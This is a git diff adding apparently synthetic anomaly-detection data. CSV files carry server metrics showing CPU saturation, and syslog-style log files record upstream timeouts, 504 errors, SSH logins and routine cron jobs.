/api/v1/dashboard diff --git a/anom_dataset/scenario_1/anom_1_30.csv b/anom_dataset/scenario_1/anom_1_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..64d79b42573adf71ad11d6cc2a4c55ff9c5ec96c --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_30.csv @@ -0,0 +1,91 @@ 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+2025-07-02T10:06:35Z,100.0,45.59,22.72,0.92,1.69 +2025-07-02T10:06:40Z,99.65,39.46,29.53,1.34,1.67 +2025-07-02T10:06:45Z,98.88,37.82,20.04,0.59,0.94 +2025-07-02T10:06:50Z,100.0,36.14,32.32,1.32,1.71 +2025-07-02T10:06:55Z,99.91,36.24,27.31,1.34,1.47 +2025-07-02T10:07:00Z,99.59,35.31,35.19,0.85,1.08 +2025-07-02T10:07:05Z,100.0,36.12,34.7,0.66,1.03 +2025-07-02T10:07:10Z,99.79,40.36,34.22,1.35,1.36 +2025-07-02T10:07:15Z,100.0,36.15,21.75,0.65,1.23 +2025-07-02T10:07:20Z,99.79,45.06,18.76,0.87,1.68 +2025-07-02T10:07:25Z,100.0,43.46,28.85,0.71,1.37 diff --git a/anom_dataset/scenario_1/anom_1_30.log b/anom_dataset/scenario_1/anom_1_30.log new file mode 100644 index 0000000000000000000000000000000000000000..456ecb4a8645d37b1a2f07cc766b32dcbd098699 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_30.log @@ -0,0 +1,17 @@ +Jul 02 10:00:02 systemd[1]: Started Session 1 of user dev-ops. +Jul 02 10:00:05 sshd[10521]: Accepted publickey for dev-ops from 10.0.1.5 port 54321 ssh2 +Jul 02 10:00:12 cron[11011]: (root) CMD (/usr/local/bin/backup.sh) +Jul 02 10:01:15 kubelet[2345]: INFO Successfully probed container liveness for pod web-app-7b8c4d4b4f-abcde +Jul 02 10:02:10 nginx[3321]: GET /healthz HTTP/1.1 200 OK +Jul 02 10:03:30 app-server[5543]: WARN API call to downstream_service is taking longer than expected (25s) +Jul 02 10:04:05 app-server[5543]: ERROR Request failed: upstream service timeout for request ID: faa-891-bce +Jul 02 10:04:15 app-server[5543]: INFO Processing new batch of 100 jobs. +Jul 02 10:04:25 app-server[5543]: ERROR Request failed: upstream service timeout for request ID: fba-992-cde +Jul 02 10:04:45 app-server[5543]: ERROR Request failed: upstream service timeout for request ID: fca-101-def +Jul 02 10:04:52 kernel: [12345.678] INFO: task java:5543 blocked for more than 120 seconds. +Jul 02 10:05:10 app-server[5543]: ERROR All threads busy, rejecting new connection from 10.0.1.10 +Jul 02 10:05:35 app-server[5543]: ERROR Request failed: upstream service timeout for request ID: fda-231-efg +Jul 02 10:06:00 app-server[5543]: ERROR Request failed: upstream service timeout for request ID: fea-451-ghi +Jul 02 10:06:20 sshd[10521]: Connection closed by 10.0.1.5 port 54321 +Jul 02 10:06:40 app-server[5543]: ERROR Request failed: upstream service timeout for request ID: ffa-671-ijk +Jul 02 10:07:20 cron[11011]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) diff --git a/anom_dataset/scenario_1/anom_1_4.csv b/anom_dataset/scenario_1/anom_1_4.csv new file mode 100644 index 0000000000000000000000000000000000000000..2c24014e3a5438691fb41f6bf2336450c476966a --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_4.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-16T22:00:00Z,17.75,45.2,16.33,1.35,1.69 +2025-08-16T22:00:05Z,17.73,43.28,17.93,1.87,1.17 +2025-08-16T22:00:10Z,15.31,49.72,27.76,1.25,1.03 +2025-08-16T22:00:15Z,19.16,47.62,32.61,1.02,1.55 +2025-08-16T22:00:20Z,19.35,42.58,17.21,1.71,1.8 +2025-08-16T22:00:25Z,24.12,41.48,28.97,1.37,1.25 +2025-08-16T22:00:30Z,17.96,49.01,32.87,1.62,0.84 +2025-08-16T22:00:35Z,18.46,44.02,30.37,1.89,1.66 +2025-08-16T22:00:40Z,23.32,48.17,30.0,1.83,1.58 +2025-08-16T22:00:45Z,16.61,44.91,28.89,1.89,1.76 +2025-08-16T22:00:50Z,23.05,43.92,17.81,1.35,0.95 +2025-08-16T22:00:55Z,19.74,41.85,23.97,1.27,0.89 +2025-08-16T22:01:00Z,15.39,49.1,26.48,1.83,1.08 +2025-08-16T22:01:05Z,23.95,48.23,19.61,1.2,0.85 +2025-08-16T22:01:10Z,17.58,49.29,22.87,1.62,1.49 +2025-08-16T22:01:15Z,22.44,49.25,29.93,1.69,1.73 +2025-08-16T22:01:20Z,24.53,41.15,24.06,1.25,1.01 +2025-08-16T22:01:25Z,15.44,48.55,21.37,1.75,1.35 +2025-08-16T22:01:30Z,19.14,40.59,29.32,1.26,1.74 +2025-08-16T22:01:35Z,22.01,47.61,27.65,1.46,1.15 +2025-08-16T22:01:40Z,23.13,41.03,16.44,1.69,1.08 +2025-08-16T22:01:45Z,18.82,41.06,31.4,1.33,1.62 +2025-08-16T22:01:50Z,15.36,47.18,19.16,1.65,0.84 +2025-08-16T22:01:55Z,17.71,45.38,34.79,1.37,1.5 +2025-08-16T22:02:00Z,23.58,45.28,19.51,1.72,1.67 +2025-08-16T22:02:05Z,23.07,46.38,25.68,1.74,1.1 +2025-08-16T22:02:10Z,16.56,46.77,21.21,1.95,0.86 +2025-08-16T22:02:15Z,20.64,40.14,32.87,1.25,0.85 +2025-08-16T22:02:20Z,16.93,42.56,26.6,1.11,1.71 +2025-08-16T22:02:25Z,17.24,49.05,29.6,1.98,0.96 +2025-08-16T22:02:30Z,25.0,44.89,24.0,1.45,1.44 +2025-08-16T22:02:35Z,26.87,49.4,24.96,1.07,1.33 +2025-08-16T22:02:40Z,28.74,46.39,19.47,1.97,1.48 +2025-08-16T22:02:45Z,30.62,40.68,19.91,1.09,1.5 +2025-08-16T22:02:50Z,32.49,42.67,23.07,1.98,1.05 +2025-08-16T22:02:55Z,34.36,40.84,30.31,1.48,1.18 +2025-08-16T22:03:00Z,36.23,43.64,26.98,1.34,1.6 +2025-08-16T22:03:05Z,38.1,41.65,29.04,1.53,1.61 +2025-08-16T22:03:10Z,39.97,40.93,31.36,1.78,1.18 +2025-08-16T22:03:15Z,41.85,45.23,24.15,1.99,1.73 +2025-08-16T22:03:20Z,43.72,46.15,20.89,1.8,1.05 +2025-08-16T22:03:25Z,45.59,47.77,18.65,1.03,1.33 +2025-08-16T22:03:30Z,47.46,49.25,15.95,1.96,1.5 +2025-08-16T22:03:35Z,49.33,45.5,34.58,1.7,1.67 +2025-08-16T22:03:40Z,51.21,42.14,31.76,1.97,1.45 +2025-08-16T22:03:45Z,53.08,43.13,28.74,1.55,1.51 +2025-08-16T22:03:50Z,54.95,41.63,30.56,1.65,0.83 +2025-08-16T22:03:55Z,56.82,43.85,20.57,1.05,1.52 +2025-08-16T22:04:00Z,58.69,41.76,21.58,1.19,1.48 +2025-08-16T22:04:05Z,60.56,40.2,21.84,1.37,1.32 +2025-08-16T22:04:10Z,62.44,47.35,18.59,1.14,1.63 +2025-08-16T22:04:15Z,64.31,45.58,24.24,1.45,0.95 +2025-08-16T22:04:20Z,66.18,44.61,28.55,1.9,1.33 +2025-08-16T22:04:25Z,68.05,47.26,16.58,1.76,1.79 +2025-08-16T22:04:30Z,69.92,42.17,23.8,1.67,1.03 +2025-08-16T22:04:35Z,71.79,40.72,20.6,1.0,1.64 +2025-08-16T22:04:40Z,73.67,45.21,28.39,1.5,1.56 +2025-08-16T22:04:45Z,75.54,41.61,19.18,1.79,1.71 +2025-08-16T22:04:50Z,77.41,43.22,28.09,1.52,1.0 +2025-08-16T22:04:55Z,79.28,42.63,22.23,1.68,1.1 +2025-08-16T22:05:00Z,81.15,43.17,27.46,1.15,1.15 +2025-08-16T22:05:05Z,83.03,47.28,34.59,1.18,1.14 +2025-08-16T22:05:10Z,84.9,41.17,17.96,1.51,0.97 +2025-08-16T22:05:15Z,86.77,44.18,31.07,1.03,1.0 +2025-08-16T22:05:20Z,88.64,41.32,31.01,1.63,1.35 +2025-08-16T22:05:25Z,90.51,46.22,26.41,1.53,1.48 +2025-08-16T22:05:30Z,92.38,48.29,30.74,1.58,1.31 +2025-08-16T22:05:35Z,94.26,42.88,32.23,1.08,1.72 +2025-08-16T22:05:40Z,96.13,47.26,18.91,1.11,0.95 +2025-08-16T22:05:45Z,98.0,49.41,23.41,1.9,0.93 +2025-08-16T22:05:50Z,99.5,42.46,33.77,1.24,1.07 +2025-08-16T22:05:55Z,99.6,45.35,24.72,1.21,1.08 +2025-08-16T22:06:00Z,99.8,40.5,28.47,1.77,1.65 +2025-08-16T22:06:05Z,98.52,41.68,19.78,1.17,0.87 +2025-08-16T22:06:10Z,99.27,40.12,23.73,1.84,1.64 +2025-08-16T22:06:15Z,98.18,44.12,22.02,1.48,1.28 +2025-08-16T22:06:20Z,99.8,46.96,33.09,1.48,1.12 +2025-08-16T22:06:25Z,98.8,42.29,18.19,1.81,1.66 +2025-08-16T22:06:30Z,99.56,45.07,29.74,1.28,1.38 +2025-08-16T22:06:35Z,98.77,42.6,22.8,1.02,1.54 +2025-08-16T22:06:40Z,99.82,46.96,27.43,1.54,0.98 +2025-08-16T22:06:45Z,98.58,42.23,33.96,1.7,1.26 +2025-08-16T22:06:50Z,98.55,45.99,17.62,1.75,1.65 +2025-08-16T22:06:55Z,98.45,48.45,31.0,1.13,1.6 +2025-08-16T22:07:00Z,98.77,44.52,18.86,1.1,0.9 +2025-08-16T22:07:05Z,98.41,41.39,18.03,1.91,1.32 +2025-08-16T22:07:10Z,99.29,43.73,28.09,1.25,1.07 +2025-08-16T22:07:15Z,98.66,40.27,32.38,1.35,1.03 +2025-08-16T22:07:20Z,98.71,48.33,25.15,1.37,1.67 +2025-08-16T22:07:25Z,98.54,46.16,34.01,1.18,1.27 diff --git a/anom_dataset/scenario_1/anom_1_4.log b/anom_dataset/scenario_1/anom_1_4.log new file mode 100644 index 0000000000000000000000000000000000000000..318d666e005c5be219440d43524e2b8377883a99 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_4.log @@ -0,0 +1,34 @@ +Aug 16 22:00:00 api-server[4567]: GET /api/v1/health status=200 OK +Aug 16 22:00:00 systemd[1]: Starting session for user admin. +Aug 16 22:00:25 api-server[4567]: GET /api/v1/health status=200 OK +Aug 16 22:00:40 systemd[1]: Starting session for user admin. +Aug 16 22:00:50 api-server[4567]: GET /api/v1/health status=200 OK +Aug 16 22:01:15 api-server[4567]: GET /api/v1/health status=200 OK +Aug 16 22:01:20 systemd[1]: Starting session for user admin. +Aug 16 22:01:40 api-server[4567]: GET /api/v1/health status=200 OK +Aug 16 22:02:00 systemd[1]: Starting session for user admin. +Aug 16 22:02:05 api-server[4567]: GET /api/v1/health status=200 OK +Aug 16 22:02:35 api-server[4567]: POST /api/v1/heavy_process received, starting task on worker PID 4599. +Aug 16 22:02:45 sshd[8899]: Accepted publickey for user monitoring from 10.0.1.5 port 12345 ssh2 +Aug 16 22:03:00 api-server[4599]: WARN: Processing time for heavy_process task is longer than expected (25s). +Aug 16 22:03:20 api-server[4599]: WARN: Processing time for heavy_process task is longer than expected (45s). +Aug 16 22:03:40 api-server[4599]: WARN: Processing time for heavy_process task is longer than expected (65s). +Aug 16 22:03:40 sshd[8899]: Accepted publickey for user monitoring from 10.0.1.5 port 12345 ssh2 +Aug 16 22:04:00 api-server[4599]: WARN: Processing time for heavy_process task is longer than expected (85s). +Aug 16 22:04:15 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:04:30 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:04:35 sshd[8899]: Accepted publickey for user monitoring from 10.0.1.5 port 12345 ssh2 +Aug 16 22:04:45 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:05:00 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:05:15 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:05:30 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:05:30 sshd[8899]: Accepted publickey for user monitoring from 10.0.1.5 port 12345 ssh2 +Aug 16 22:05:45 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:06:00 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:06:15 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:06:25 sshd[8899]: Accepted publickey for user monitoring from 10.0.1.5 port 12345 ssh2 +Aug 16 22:06:30 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:06:45 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:07:00 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:07:15 api-server[4567]: GET /api/v1/users status=504 Gateway Timeout +Aug 16 22:07:20 sshd[8899]: Accepted publickey for user monitoring from 10.0.1.5 port 12345 ssh2 diff --git a/anom_dataset/scenario_1/anom_1_5.csv b/anom_dataset/scenario_1/anom_1_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..bf655b5b2bd52a87be8d049e974ff172bd85a344 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,20.0,38.39,20.71,0.57,0.79 +2025-07-02T11:00:05Z,21.66,40.89,30.16,1.34,1.46 +2025-07-02T11:00:10Z,17.7,42.58,30.66,1.33,1.56 +2025-07-02T11:00:15Z,23.5,42.88,30.93,1.06,1.02 +2025-07-02T11:00:20Z,20.73,43.48,29.2,0.94,1.34 +2025-07-02T11:00:25Z,17.63,43.0,20.52,1.3,1.77 +2025-07-02T11:00:30Z,20.39,41.18,23.88,0.76,1.41 +2025-07-02T11:00:35Z,20.34,43.28,22.11,0.66,1.3 +2025-07-02T11:00:40Z,19.07,40.37,33.07,0.85,1.44 +2025-07-02T11:00:45Z,18.88,41.53,27.56,1.44,1.63 +2025-07-02T11:00:50Z,15.81,42.17,30.75,1.33,0.83 +2025-07-02T11:00:55Z,20.91,44.7,32.43,1.21,1.27 +2025-07-02T11:01:00Z,19.22,44.49,27.63,1.13,1.22 +2025-07-02T11:01:05Z,22.71,42.07,23.17,1.26,0.7 +2025-07-02T11:01:10Z,16.28,41.83,33.37,0.9,0.71 +2025-07-02T11:01:15Z,16.9,43.09,25.77,0.84,1.62 +2025-07-02T11:01:20Z,22.11,43.42,32.0,0.57,1.48 +2025-07-02T11:01:25Z,17.07,43.47,31.41,1.38,1.68 +2025-07-02T11:01:30Z,20.55,43.45,29.01,1.03,1.77 +2025-07-02T11:01:35Z,21.45,39.08,34.8,0.79,1.05 +2025-07-02T11:01:40Z,16.98,39.78,24.25,1.47,1.42 +2025-07-02T11:01:45Z,19.39,38.53,33.63,1.26,0.72 +2025-07-02T11:01:50Z,19.78,42.38,34.41,1.38,1.48 +2025-07-02T11:01:55Z,15.72,42.0,21.2,0.59,1.36 +2025-07-02T11:02:00Z,21.17,39.62,34.33,1.1,0.91 +2025-07-02T11:02:05Z,19.1,37.98,31.04,1.06,0.97 +2025-07-02T11:02:10Z,23.02,39.11,33.43,0.56,1.14 +2025-07-02T11:02:15Z,20.56,40.76,33.3,0.89,1.51 +2025-07-02T11:02:20Z,19.92,37.72,20.9,1.06,1.02 +2025-07-02T11:02:25Z,24.09,39.94,24.96,1.48,1.36 +2025-07-02T11:02:30Z,26.67,36.56,32.71,1.45,1.49 +2025-07-02T11:02:35Z,29.01,40.06,22.8,1.0,1.07 +2025-07-02T11:02:40Z,31.41,40.18,23.89,0.93,0.93 +2025-07-02T11:02:45Z,32.6,38.13,24.7,1.41,1.37 +2025-07-02T11:02:50Z,33.91,38.46,29.31,0.97,0.75 +2025-07-02T11:02:55Z,35.66,39.77,25.7,1.05,1.24 +2025-07-02T11:03:00Z,41.79,38.5,29.68,1.08,1.79 +2025-07-02T11:03:05Z,42.59,39.16,34.94,0.88,1.35 +2025-07-02T11:03:10Z,44.56,39.46,25.74,1.23,0.86 +2025-07-02T11:03:15Z,49.33,36.79,34.4,1.35,0.72 +2025-07-02T11:03:20Z,49.85,38.68,31.2,0.83,0.99 +2025-07-02T11:03:25Z,50.79,38.65,25.07,1.05,1.73 +2025-07-02T11:03:30Z,57.12,39.26,25.52,1.45,1.19 +2025-07-02T11:03:35Z,59.64,37.94,29.08,1.42,1.42 +2025-07-02T11:03:40Z,60.45,40.14,20.69,1.05,1.3 +2025-07-02T11:03:45Z,63.5,41.12,30.73,0.59,0.73 +2025-07-02T11:03:50Z,65.25,42.89,31.11,0.82,1.27 +2025-07-02T11:03:55Z,67.44,38.69,27.94,1.31,1.64 +2025-07-02T11:04:00Z,69.36,40.37,31.89,0.57,0.92 +2025-07-02T11:04:05Z,71.88,40.02,28.36,1.46,1.42 +2025-07-02T11:04:10Z,75.49,40.97,26.7,0.62,0.97 +2025-07-02T11:04:15Z,78.93,42.83,20.63,1.4,1.03 +2025-07-02T11:04:20Z,82.21,42.2,26.97,0.8,1.13 +2025-07-02T11:04:25Z,81.49,43.08,25.13,0.58,1.17 +2025-07-02T11:04:30Z,84.51,40.42,26.04,1.37,1.54 +2025-07-02T11:04:35Z,89.08,42.34,23.54,1.11,1.4 +2025-07-02T11:04:40Z,89.9,42.88,29.63,0.86,1.04 +2025-07-02T11:04:45Z,94.41,44.01,32.94,1.49,0.85 +2025-07-02T11:04:50Z,97.22,44.18,31.23,0.59,1.29 +2025-07-02T11:04:55Z,96.24,42.42,29.91,1.34,1.76 +2025-07-02T11:05:00Z,99.27,39.73,29.41,0.67,1.63 +2025-07-02T11:05:05Z,98.76,41.47,30.59,0.54,1.03 +2025-07-02T11:05:10Z,99.34,40.6,29.2,1.36,1.1 +2025-07-02T11:05:15Z,98.5,42.96,34.61,1.12,1.11 +2025-07-02T11:05:20Z,98.74,41.84,25.84,1.19,1.21 +2025-07-02T11:05:25Z,98.87,40.15,34.7,0.93,1.21 +2025-07-02T11:05:30Z,99.73,42.88,25.33,0.99,1.0 +2025-07-02T11:05:35Z,98.87,41.7,31.06,0.84,1.44 +2025-07-02T11:05:40Z,99.18,40.5,23.33,0.55,0.96 +2025-07-02T11:05:45Z,99.56,40.7,29.04,1.08,0.93 +2025-07-02T11:05:50Z,99.7,39.59,27.5,0.56,0.94 +2025-07-02T11:05:55Z,98.24,38.22,21.0,0.74,1.48 +2025-07-02T11:06:00Z,98.23,37.63,31.28,1.29,0.89 +2025-07-02T11:06:05Z,98.79,39.5,30.87,0.54,1.65 +2025-07-02T11:06:10Z,98.02,40.53,25.83,1.07,1.23 +2025-07-02T11:06:15Z,98.92,40.04,30.81,1.48,1.03 +2025-07-02T11:06:20Z,99.73,36.76,21.9,1.34,1.34 +2025-07-02T11:06:25Z,98.48,40.98,22.19,0.61,1.64 +2025-07-02T11:06:30Z,99.36,38.69,27.44,1.2,1.27 +2025-07-02T11:06:35Z,99.64,37.17,24.23,0.78,1.12 +2025-07-02T11:06:40Z,98.21,37.01,27.28,0.8,1.57 +2025-07-02T11:06:45Z,98.06,38.91,32.41,1.01,0.91 +2025-07-02T11:06:50Z,98.27,40.09,23.81,1.17,0.76 +2025-07-02T11:06:55Z,99.88,38.48,34.85,0.81,1.56 +2025-07-02T11:07:00Z,99.38,41.68,29.2,1.05,0.83 +2025-07-02T11:07:05Z,98.96,40.19,27.58,0.67,1.36 +2025-07-02T11:07:10Z,99.23,39.52,26.22,0.62,1.76 +2025-07-02T11:07:15Z,98.93,40.1,23.56,0.76,1.19 +2025-07-02T11:07:20Z,98.29,39.51,32.71,0.71,1.76 +2025-07-02T11:07:25Z,98.86,38.76,28.61,0.55,1.13 diff --git a/anom_dataset/scenario_1/anom_1_5.log b/anom_dataset/scenario_1/anom_1_5.log new file mode 100644 index 0000000000000000000000000000000000000000..07dd24804156b06aa713668aff702cdad2e09d8e --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_5.log @@ -0,0 +1,57 @@ +Jul 02 11:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:10 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:00:20 systemd[1]: Started Session 19 of user ubuntu. +Jul 02 11:00:25 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:00:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:40 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:00:45 sshd[27157]: Accepted publickey for ubuntu from 192.168.1.105 port 58366 +Jul 02 11:01:05 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:01:20 cron[39468]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:25 cron[38342]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 11:01:35 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 11:01:50 sshd[26486]: Accepted publickey for ubuntu from 192.168.1.105 port 56712 +Jul 02 11:01:55 systemd[1]: Started Session 12 of user ubuntu. +Jul 02 11:02:10 sshd[27683]: Accepted publickey for ubuntu from 192.168.1.105 port 52260 +Jul 02 11:02:15 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:02:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:02:25 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:02:30 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:02:40 systemd[1]: Started Session 16 of user ubuntu. +Jul 02 11:02:45 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:02:50 sshd[25169]: Accepted publickey for ubuntu from 192.168.1.105 port 59472 +Jul 02 11:02:55 systemd[1]: Finished Daily apt upgrade and clean activities. +Jul 02 11:03:05 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 11:03:20 systemd[1]: Starting Daily apt upgrade and clean activities... +Jul 02 11:03:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:03:35 app-server[5432]: WARN: High latency detected for user_id=441 +Jul 02 11:03:40 sshd[21562]: Accepted publickey for ubuntu from 192.168.1.105 port 57584 +Jul 02 11:03:45 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:03:50 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:04:00 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:04:05 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:04:10 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:04:20 app-server[5432]: WARN: High latency detected for user_id=196 +Jul 02 11:04:30 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:04:40 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:04:45 app-server[5432]: WARN: High latency detected for user_id=584 +Jul 02 11:04:50 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:05:05 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:05:10 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:05:15 app-server[5432]: WARN: High latency detected for user_id=336 +Jul 02 11:05:20 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:05:25 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:05:40 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:05:45 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:05:50 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:05:55 app-server[5432]: WARN: High latency detected for user_id=403 +Jul 02 11:06:00 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:06:05 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:06:10 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:06:30 app-server[5432]: WARN: High latency detected for user_id=650 +Jul 02 11:06:35 app-server[5432]: WARN: High latency detected for user_id=406 +Jul 02 11:06:45 app-server[5432]: ERROR: Request timeout for /api/v1/data after 30s +Jul 02 11:06:50 nginx[1123]: GET /api/v1/data HTTP/1.1 504 Gateway Timeout +Jul 02 11:06:55 app-server[5432]: WARN: High latency detected for user_id=349 +Jul 02 11:07:05 app-server[5432]: ERROR: Upstream service 'database' not responding, request timed out. +Jul 02 11:07:20 app-server[5432]: WARN: High latency detected for user_id=407 +Jul 02 11:07:25 app-server[5432]: WARN: High latency detected for user_id=967 diff --git a/anom_dataset/scenario_1/anom_1_6.csv b/anom_dataset/scenario_1/anom_1_6.csv new file mode 100644 index 0000000000000000000000000000000000000000..b322729b54250793c60fdadf5159ac33894c8d65 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_6.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T11:00:00Z,14.95,38.35,33.31,1.04,1.14 +2025-07-02T11:00:05Z,10.17,44.09,30.32,0.51,1.12 +2025-07-02T11:00:10Z,18.92,38.82,27.68,0.41,1.33 +2025-07-02T11:00:15Z,14.35,40.44,31.67,1.08,1.46 +2025-07-02T11:00:20Z,19.56,40.95,21.48,0.62,1.2 +2025-07-02T11:00:25Z,11.97,43.95,29.27,0.97,1.01 +2025-07-02T11:00:30Z,16.71,42.14,22.39,0.33,1.26 +2025-07-02T11:00:35Z,14.93,36.27,24.01,1.01,1.29 +2025-07-02T11:00:40Z,10.09,37.09,22.6,0.5,1.35 +2025-07-02T11:00:45Z,11.17,42.18,22.65,0.73,1.07 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+2025-07-02T11:02:30Z,15.05,35.4,25.42,0.44,1.38 +2025-07-02T11:02:35Z,17.95,40.64,26.89,0.88,1.26 +2025-07-02T11:02:40Z,24.35,41.47,28.52,1.08,0.99 +2025-07-02T11:02:45Z,29.16,44.08,24.53,0.54,1.16 +2025-07-02T11:02:50Z,32.73,41.83,20.92,0.89,0.7 +2025-07-02T11:02:55Z,35.43,41.53,22.21,0.93,1.08 +2025-07-02T11:03:00Z,38.76,40.12,33.01,1.03,1.17 +2025-07-02T11:03:05Z,44.61,39.83,25.21,0.81,0.79 +2025-07-02T11:03:10Z,49.29,36.81,25.1,0.5,1.3 +2025-07-02T11:03:15Z,51.87,36.42,30.19,0.68,0.84 +2025-07-02T11:03:20Z,58.57,43.95,34.44,0.46,0.93 +2025-07-02T11:03:25Z,61.41,37.75,30.23,0.7,0.94 +2025-07-02T11:03:30Z,67.26,39.31,31.43,0.42,1.43 +2025-07-02T11:03:35Z,70.45,37.44,23.73,0.48,0.73 +2025-07-02T11:03:40Z,72.39,35.47,33.88,0.88,1.03 +2025-07-02T11:03:45Z,78.56,41.63,24.81,0.78,1.16 +2025-07-02T11:03:50Z,80.22,44.58,29.22,0.4,0.86 +2025-07-02T11:03:55Z,85.72,38.83,23.4,0.57,1.35 +2025-07-02T11:04:00Z,91.96,36.63,21.19,0.76,1.32 +2025-07-02T11:04:05Z,93.43,38.86,33.66,1.09,1.42 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+2025-07-02T11:05:50Z,99.18,42.31,32.8,0.78,1.07 +2025-07-02T11:05:55Z,99.21,40.06,29.67,0.77,1.14 +2025-07-02T11:06:00Z,98.83,36.32,29.01,0.53,0.95 +2025-07-02T11:06:05Z,99.77,39.65,34.52,0.47,1.0 +2025-07-02T11:06:10Z,99.29,41.42,32.63,0.81,1.31 +2025-07-02T11:06:15Z,98.5,40.66,27.24,0.56,1.14 +2025-07-02T11:06:20Z,98.04,37.88,26.8,0.68,1.09 +2025-07-02T11:06:25Z,99.28,43.36,21.87,1.02,0.93 +2025-07-02T11:06:30Z,99.98,40.72,22.54,0.95,1.01 +2025-07-02T11:06:35Z,98.62,38.34,33.0,0.35,1.03 +2025-07-02T11:06:40Z,99.2,44.61,32.21,0.69,1.03 +2025-07-02T11:06:45Z,98.37,39.62,26.29,0.97,1.14 +2025-07-02T11:06:50Z,99.44,38.37,26.69,0.35,1.28 +2025-07-02T11:06:55Z,99.88,43.57,23.41,0.91,0.94 +2025-07-02T11:07:00Z,98.16,39.16,22.05,0.94,1.1 +2025-07-02T11:07:05Z,98.88,35.33,20.35,0.69,0.93 +2025-07-02T11:07:10Z,99.36,36.57,27.45,0.86,0.74 +2025-07-02T11:07:15Z,98.36,44.67,32.72,1.05,0.89 +2025-07-02T11:07:20Z,98.0,38.83,26.7,1.06,1.36 +2025-07-02T11:07:25Z,99.19,40.92,32.41,0.52,1.12 diff --git a/anom_dataset/scenario_1/anom_1_6.log b/anom_dataset/scenario_1/anom_1_6.log new file mode 100644 index 0000000000000000000000000000000000000000..9573f95ee7f0d3bfd520d6a57874bc4c56b732c6 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_6.log @@ -0,0 +1,64 @@ +Jul 02 11:00:15 nginx[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 02 11:00:36 CRON[17284]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:00:47 systemd[1]: Started Session 13 of user ubuntu. +Jul 02 11:01:04 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 11:01:23 systemd[1]: Started Session 10 of user ubuntu. +Jul 02 11:01:39 systemd[1]: Started Session 6 of user ubuntu. +Jul 02 11:01:52 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 11:01:59 CRON[10199]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 02 11:02:16 systemd[1]: Started Session 7 of user ubuntu. +Jul 02 11:02:38 nginx[1123]: GET /api/v1/healthcheck HTTP/1.1 200 OK +Jul 02 11:02:40 